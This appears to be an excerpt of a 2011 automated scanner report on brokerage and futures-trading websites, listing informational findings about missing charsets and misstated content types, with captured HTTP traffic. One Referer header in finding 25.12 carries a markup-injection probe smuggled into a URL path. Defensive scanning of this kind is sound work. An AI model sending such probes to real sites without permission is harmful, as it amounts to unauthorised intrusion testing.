24.11. https://www.optionsxpress.com/downloads/riskstoc.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/downloads/riskstoc.pdf

Request

GET /downloads/riskstoc.pdf HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 1923458
Content-Type: application/pdf
Last-Modified: Mon, 29 Oct 2007 18:51:39 GMT
Accept-Ranges: bytes
ETag: "b0fe89bd5c1ac81:1c11"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:47:33 GMT
Connection: close

%PDF-1.6%....
424 0 obj <</Linearized 1/L 1923458/O 427/E 59176/N 129/T 1914930/H [ 1256 494]>>endobj
xref
424 48
0000000016 00000 n
0000001750 00000 n
0000001932 00000 n
0000002060
...[SNIP]...

24.12. https://www.optionsxpress.com/welcome.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/welcome.asp

Request

GET /welcome.asp HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

24.13. https://www.pfgboss.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.pfgboss.com
Path:	/Default.aspx

Request

GET /Default.aspx HTTP/1.1
Host: www.pfgboss.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

24.14. https://www.secureclient5.ranweb.com/login/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.secureclient5.ranweb.com
Path:	/login/login.asp

Request

GET /login/login.asp?firm=eft HTTP/1.1
Host: www.secureclient5.ranweb.com
Connection: keep-alive
Referer: http://www.efutures.com/services/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:38:13 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html
Cache-control: private
Content-Length: 261

<SCRIPT language="JavaScript" src="minreq.js"></SCRIPT>
<SCRIPT language="JavaScript">
MinReq('ranweb.asp?ConfigSelect=5003&run=5003&ranApplication=RANorder&applayoutid=517&DANactionid=6
...[SNIP]...

24.15. https://www.secureclient5.ranweb.com/login/ranweb.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.secureclient5.ranweb.com
Path:	/login/ranweb.asp

Request

Response

25. HTML does not specify charset previous next
There are 15 instances of this issue:

http://206.106.137.34/php/ticker/getFXMDdata.php
https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS
http://jqueryui.com/themeroller/
http://www.algoadvantage.com/
http://www.algoadvantage.com/Home.php
http://www.interactivebrokers.com/download/efp.html
http://www.interactivebrokers.com/en/general/education/webinars/cme-3-6-2006.html
http://www.interactivebrokers.com/futures/
http://www.interactivebrokers.com/mkt/ticker/getFXMDdata.php
http://www.interactivebrokers.com/wml/
http://www.invest-store.com/commoditybooks/
http://www.mobiletws.com/mobile/default.php
http://www.mobiletws.com/mobile/mobiles.php
https://www.secureclient5.ranweb.com/login/login.asp
https://www.secureclient5.ranweb.com/login/ranweb.asp

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

25.1. http://206.106.137.34/php/ticker/getFXMDdata.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://206.106.137.34
Path:	/php/ticker/getFXMDdata.php

Request

GET /php/ticker/getFXMDdata.php?182013 HTTP/1.1
Host: 206.106.137.34
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/images/flash/forexTicker_splash_wide.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:55 GMT
Server: Apache
Content-Length: 390
Connection: close
Content-Type: text/html

&symbol4=EUR.USD&bid4=1.3896%BD&ask4=1.3897%BD&diffb4=down&diffa4=down&symbol7=USD.JPY&bid7=77.45%BD&ask7=77.46%BD&diffb7=up&diffa7=up&symbol5=GBP.USD&bid5=1.5966&ask5=1.5967%BD&diffb5=down&diffa5=0&s
...[SNIP]...

25.2. https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cwt1.interactivebrokers.com
Path:	/MT3G/servlet/LoginS

Request

Response

25.3. http://jqueryui.com/themeroller/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Request

GET /themeroller/ HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.4. http://www.algoadvantage.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.algoadvantage.com
Path:	/

Request

Response

25.5. http://www.algoadvantage.com/Home.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.algoadvantage.com
Path:	/Home.php

Request

GET /Home.php HTTP/1.1
Host: www.algoadvantage.com
Proxy-Connection: keep-alive
Referer: http://www.algoadvantage.com/?gclid=CIb8vp2wjqsCFSBCgwod8wjOtA
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=29536111.1909454102.1315527931.1315527931.1315527931.1; __utmb=29536111.2.10.1315527931; __utmc=29536111; __utmz=29536111.1315527931.1.1.utmgclid=CIb8vp2wjqsCFSBCgwod8wjOtA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=futures%20trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:54 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.17
X-Powered-By: PleskLin
Content-Length: 5345
Connection: close
Content-Type: text/html

<script type="text/javascript" src="imageflow.js"></script>
<div id="main" role="main">

<h1 id="homepageh1">DISCOVER YOUR ALTER <span>ALGO</span></h1>

<div id="mobile_carousel_wrapper">

...[SNIP]...

25.6. http://www.interactivebrokers.com/download/efp.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/efp.html

Request

GET /download/efp.html HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:54 GMT
Server: Apache
Last-Modified: Mon, 26 Feb 2007 15:10:26 GMT
ETag: "ccc6e8-7c4-8a855c80"
Accept-Ranges: bytes
Content-Length: 1988
Connection: close
Content-Type: text/html

<html>
<head>
<title>EFP Scanner</title>
</head>

<body>
<div align="center">
<img src="../images/common/EfpScanner.jpg" border="0"><br>
<OBJECT classid="clsid:8AD9C840-044E-11D1-B3E9-00805F4
...[SNIP]...

25.7. http://www.interactivebrokers.com/en/general/education/webinars/cme-3-6-2006.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/webinars/cme-3-6-2006.html

Request

GET /en/general/education/webinars/cme-3-6-2006.html HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:17 GMT
Server: Apache
Last-Modified: Wed, 25 Jul 2007 12:37:25 GMT
ETag: "d3419c-3d0-c5a54b40"
Accept-Ranges: bytes
Content-Length: 976
Connection: close
Content-Type: text/html

<html>
<head>
<title>Macromedia Flash (SWF) Movie Created by Camtasia Studio 2</title>
</head>
<body bgcolor="#FFFFFF">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://do
...[SNIP]...

25.8. http://www.interactivebrokers.com/futures/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/futures/

Request

GET /futures/ HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:41 GMT
Server: Apache
Content-Length: 13448
Connection: close
Content-Type: text/html

<html>
<head>
<title>Trade Futures and Future Options</title>
<meta name="description" content="Trade futures and future options in combination with stocks, ETFs, and options worldwide from a sing">
<
...[SNIP]...

25.9. http://www.interactivebrokers.com/mkt/ticker/getFXMDdata.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/mkt/ticker/getFXMDdata.php

Request

GET /mkt/ticker/getFXMDdata.php?474171 HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/images/sitetemplate/new/forexTicker_wide_v2_US.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:32 GMT
Server: Apache
Content-Length: 407
Connection: close
Content-Type: text/html

&symbol4=EUR.USD&bid4=1.3898&ask4=1.3899&diffb4=0&diffa4=0&symbol7=USD.JPY&bid7=77.45&ask7=77.46&diffb7=0&diffa7=0&symbol5=GBP.USD&bid5=1.5966%26#189;&ask5=1.5967%26#189;&diffb5=0&diffa5=0&symbol2=USD
...[SNIP]...

25.10. http://www.interactivebrokers.com/wml/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/wml/

Request

GET /wml/ HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.mobiletws.com/mobile/mobiles.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282; HLheader=1c

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:25 GMT
Server: Apache
Content-Length: 1241
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<style ty
...[SNIP]...

25.11. http://www.invest-store.com/commoditybooks/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/commoditybooks/

Request

GET /commoditybooks/ HTTP/1.1
Host: www.invest-store.com
Proxy-Connection: keep-alive
Referer: http://www.farrdirect.com/fbooks.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 624
Content-Type: text/html
Content-Location: http://www.invest-store.com/commoditybooks/index.html
Last-Modified: Fri, 27 Aug 2010 19:57:49 GMT
Accept-Ranges: bytes
ETag: "febe81202246cb1:9c8"
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 20:00:05 GMT

<HTML>
<HEAD>
<TITLE>Commodity Books store - Trading Investing and Financial Books, Videos, and Audios</TITLE>
</HEAD>
<FRAMESET FRAMEBORDER=0 BORDER=0 FRAMESPACING=0 ROWS="100%,*">
<FRAME SRC="/
...[SNIP]...

25.12. http://www.mobiletws.com/mobile/default.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mobiletws.com
Path:	/mobile/default.php

Request

GET /mobile/default.php HTTP/1.1
Host: www.mobiletws.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/mobile/index.php/881ed%22%3E%3Ca%20b%3dc%3Ebec079a6a29
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:08 GMT
Server: Apache
Content-Length: 1368
Connection: close
Content-Type: text/html

<html>
<head>
<title>Mobile TWS</title>
<meta name="description" content="">
<meta name="keywords" content="">
<meta http-equiv="expires" content="-1">
<meta name="robots" content="in
...[SNIP]...

25.13. http://www.mobiletws.com/mobile/mobiles.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mobiletws.com
Path:	/mobile/mobiles.php

Request

GET /mobile/mobiles.php HTTP/1.1
Host: www.mobiletws.com
Proxy-Connection: keep-alive
Referer: http://www.mobiletws.com/mobile/default.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:08:12 GMT
Server: Apache
Content-Length: 8432
Connection: close
Content-Type: text/html

<html>
<head>
<title>Mobile TWS Download</title>
<meta name="description" content="">
<meta name="keywords" content="">
<meta http-equiv="expires" content="-1">
<meta name="robots" content="index, fol
...[SNIP]...

25.14. https://www.secureclient5.ranweb.com/login/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.secureclient5.ranweb.com
Path:	/login/login.asp

Request

Response

25.15. https://www.secureclient5.ranweb.com/login/ranweb.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.secureclient5.ranweb.com
Path:	/login/ranweb.asp

Request

Response

26. Content type incorrectly stated previous
There are 23 instances of this issue:

http://206.106.137.34/php/ticker/getFXMDdata.php
http://360.sorensonmedia.com/7d285f50de540c4b64C9b74Y99dcc88d0ad6/embedv2.js
https://account.optionsxpress.com/OpenAccount/NewAccountAjax/GenericHandler
http://optionsxpress.tt.omtrdc.net/m2/optionsxpress/mbox/standard
http://pfgbest.app5.hubspot.com/salog.js.aspx
https://seal.verisign.com/getseal
http://server.iad.liveperson.net/hcp/html/mTag.js
http://shared.websol.barchart.com/lookup/qquote.php
http://shared.websol.barchart.com/quotes/default.php
http://shared.websol.barchart.com/text/disclaimer.php
http://transworld.websol.barchart.com/main.php
http://www.algoadvantage.com/favicon.ico
http://www.algoadvantage.com/fonts/helveticaneue-roman-webfont.woff
http://www.efutures.com/favicon.ico
https://www.efutures.com/favicon.ico
http://www.interactivebrokers.co.uk/contract_info/v3.7/js/FormFilter.js
http://www.interactivebrokers.co.uk/contract_info/v3.7/js/cicObj_en.js
http://www.interactivebrokers.com/images/sitetemplate/new/mnTempFlag_UK.gif
http://www.interactivebrokers.com/mkt/ticker/getFXMDdata.php
https://www.interactivebrokers.com/sso/Login
https://www.secureclient5.ranweb.com/login/ranweb.asp
http://www2.daytrade4less.com/livesupport/image.php
http://www2.daytrade4less.com/livesupport/scroll_image.php

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

26.1. http://206.106.137.34/php/ticker/getFXMDdata.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://206.106.137.34
Path:	/php/ticker/getFXMDdata.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

26.2. http://360.sorensonmedia.com/7d285f50de540c4b64C9b74Y99dcc88d0ad6/embedv2.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://360.sorensonmedia.com
Path:	/7d285f50de540c4b64C9b74Y99dcc88d0ad6/embedv2.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

26.3. https://account.optionsxpress.com/OpenAccount/NewAccountAjax/GenericHandler previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/NewAccountAjax/GenericHandler

Issue detail

The response contains the following Content-type statement:

Content-Type: application/json; charset=utf-8

The response states that it contains JSON. However, it actually appears to contain plain text.

Request

Response

26.4. http://optionsxpress.tt.omtrdc.net/m2/optionsxpress/mbox/standard previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://optionsxpress.tt.omtrdc.net
Path:	/m2/optionsxpress/mbox/standard

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /m2/optionsxpress/mbox/standard?mboxHost=www.optionsxpress.com&mboxSession=1315527919598-875378&mboxPage=1315527919598-875378&screenHeight=1200&screenWidth=1920&browserWidth=1266&browserHeight=984&browserTimeOffset=-300&colorDepth=16&mboxCount=2&mbox=ox_lp_options_hero&mboxId=0&mboxTime=1315509922896&mboxURL=http%3A%2F%2Fwww.optionsxpress.com%2Fpromos%2Fexperience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus23305007%26ef_id%3DzqROZUBXyFQAAIdR%3A20110908192437%3As&mboxReferrer=http%3A%2F%2Fwww.google.com%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dfutures%2Btrading&mboxVersion=39 HTTP/1.1
Host: optionsxpress.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi_holtihx7Bhabx7Dhx7F=[CS]v4|2730A37085079998-400001008005E291|4E6146E0[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 173
Date: Thu, 08 Sep 2011 19:24:44 GMT
Server: Test & Target

mboxFactories.get('default').get('ox_lp_options_hero',0).setOffer(new mboxOfferDefault()).loaded();mboxFactories.get('default').getPCId().forceId("1315527919598-875378.19");

26.5. http://pfgbest.app5.hubspot.com/salog.js.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://pfgbest.app5.hubspot.com
Path:	/salog.js.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

26.6. https://seal.verisign.com/getseal previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://seal.verisign.com
Path:	/getseal

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /getseal HTTP/1.1
Host: seal.verisign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=0, must-revalidate
ETag:
Content-Type: text/javascript
Date: Thu, 08 Sep 2011 19:47:19 GMT
Connection: close

26.7. http://server.iad.liveperson.net/hcp/html/mTag.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://server.iad.liveperson.net
Path:	/hcp/html/mTag.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /hcp/html/mTag.js?site=82583755 HTTP/1.1
Host: server.iad.liveperson.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pfgbest.com/toolkit/
Cookie: LivePersonID=LP i=546022977410,d=1312768968

Response

HTTP/1.1 200 OK
Content-Length: 17291
Content-Type: application/x-javascript
Content-Location: http://server.iad.liveperson.net/lpWeb/default_SMB//hcpv/emt/mtag.js?site=82583755
Last-Modified: Sun, 13 Mar 2011 22:27:52 GMT
Accept-Ranges: bytes
ETag: "e0f243e4cde1cb1:1087"
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 20:05:39 GMT

eval((function(s){var a,c,e,i,j,o="",r,t=".....................................................................................................................$@^`~";for(i=0;i<s.length;i++){r=t+s[i][
...[SNIP]...

26.8. http://shared.websol.barchart.com/lookup/qquote.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://shared.websol.barchart.com
Path:	/lookup/qquote.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /lookup/qquote.php HTTP/1.1
Host: shared.websol.barchart.com
Proxy-Connection: keep-alive
Referer: http://www.transworldfutures.com/quotes.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WEBSOL_SERVER=balancer.websol02

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:59:58 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Content-Length: 6587
Content-Type: text/html; charset=UTF-8
Via: 1.1 websol.barchart.com (Apache/2.2.9)
P3P: CP="NON ADM OUR STP"
Content-Language: en

function bcfn_GetQQuote(futlink, showlist){
   var sPath = window.location.pathname;
   var sPage = sPath.substring(sPath.lastIndexOf('/') + 1);
   if(futlink) {
       if(futlink.match(/\?/) != null) {

...[SNIP]...

26.9. http://shared.websol.barchart.com/quotes/default.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://shared.websol.barchart.com
Path:	/quotes/default.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /quotes/default.php?&domain=transworld&tz=0&ed=0 HTTP/1.1
Host: shared.websol.barchart.com
Proxy-Connection: keep-alive
Referer: http://www.transworldfutures.com/quotes.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WEBSOL_SERVER=balancer.websol02

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:00:00 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Content-Type: text/html; charset=UTF-8
Via: 1.1 websol.barchart.com (Apache/2.2.9)
P3P: CP="NON ADM OUR STP"
Content-Language: en
Content-Length: 102307

document.write('<table class="bcDefaultHeaderTable" width="100%" border="0" cellpadding="1" cellspacing="0">\n <tr>\n <td align="center" colspan="9" class="bcTD">\n <br /> <a href="?page=default&
...[SNIP]...

26.10. http://shared.websol.barchart.com/text/disclaimer.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://shared.websol.barchart.com
Path:	/text/disclaimer.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

26.11. http://transworld.websol.barchart.com/main.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://transworld.websol.barchart.com
Path:	/main.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /main.php?page=default HTTP/1.1
Host: transworld.websol.barchart.com
Proxy-Connection: keep-alive
Referer: http://www.transworldfutures.com/quotes.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:59:55 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Content-Type: text/html; charset=UTF-8
Via: 1.1 websol.barchart.com (Apache/2.2.9)
P3P: CP="NON ADM OUR STP"
Content-Language: en
Content-Length: 17244

document.write('<table width="100%" cellpadding="3" cellspacing="4" border="0">');
document.write('<tr><td class="bcQuotesCharts">Quotes & Charts</td><td align="right" rowspan="2">');
document.wri
...[SNIP]...

26.12. http://www.algoadvantage.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.algoadvantage.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.algoadvantage.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=29536111.1909454102.1315527931.1315527931.1315527931.1; __utmb=29536111.2.10.1315527931; __utmc=29536111; __utmz=29536111.1315527931.1.1.utmgclid=CIb8vp2wjqsCFSBCgwod8wjOtA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=futures%20trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:55 GMT
Server: Apache/2.2.3 (CentOS)
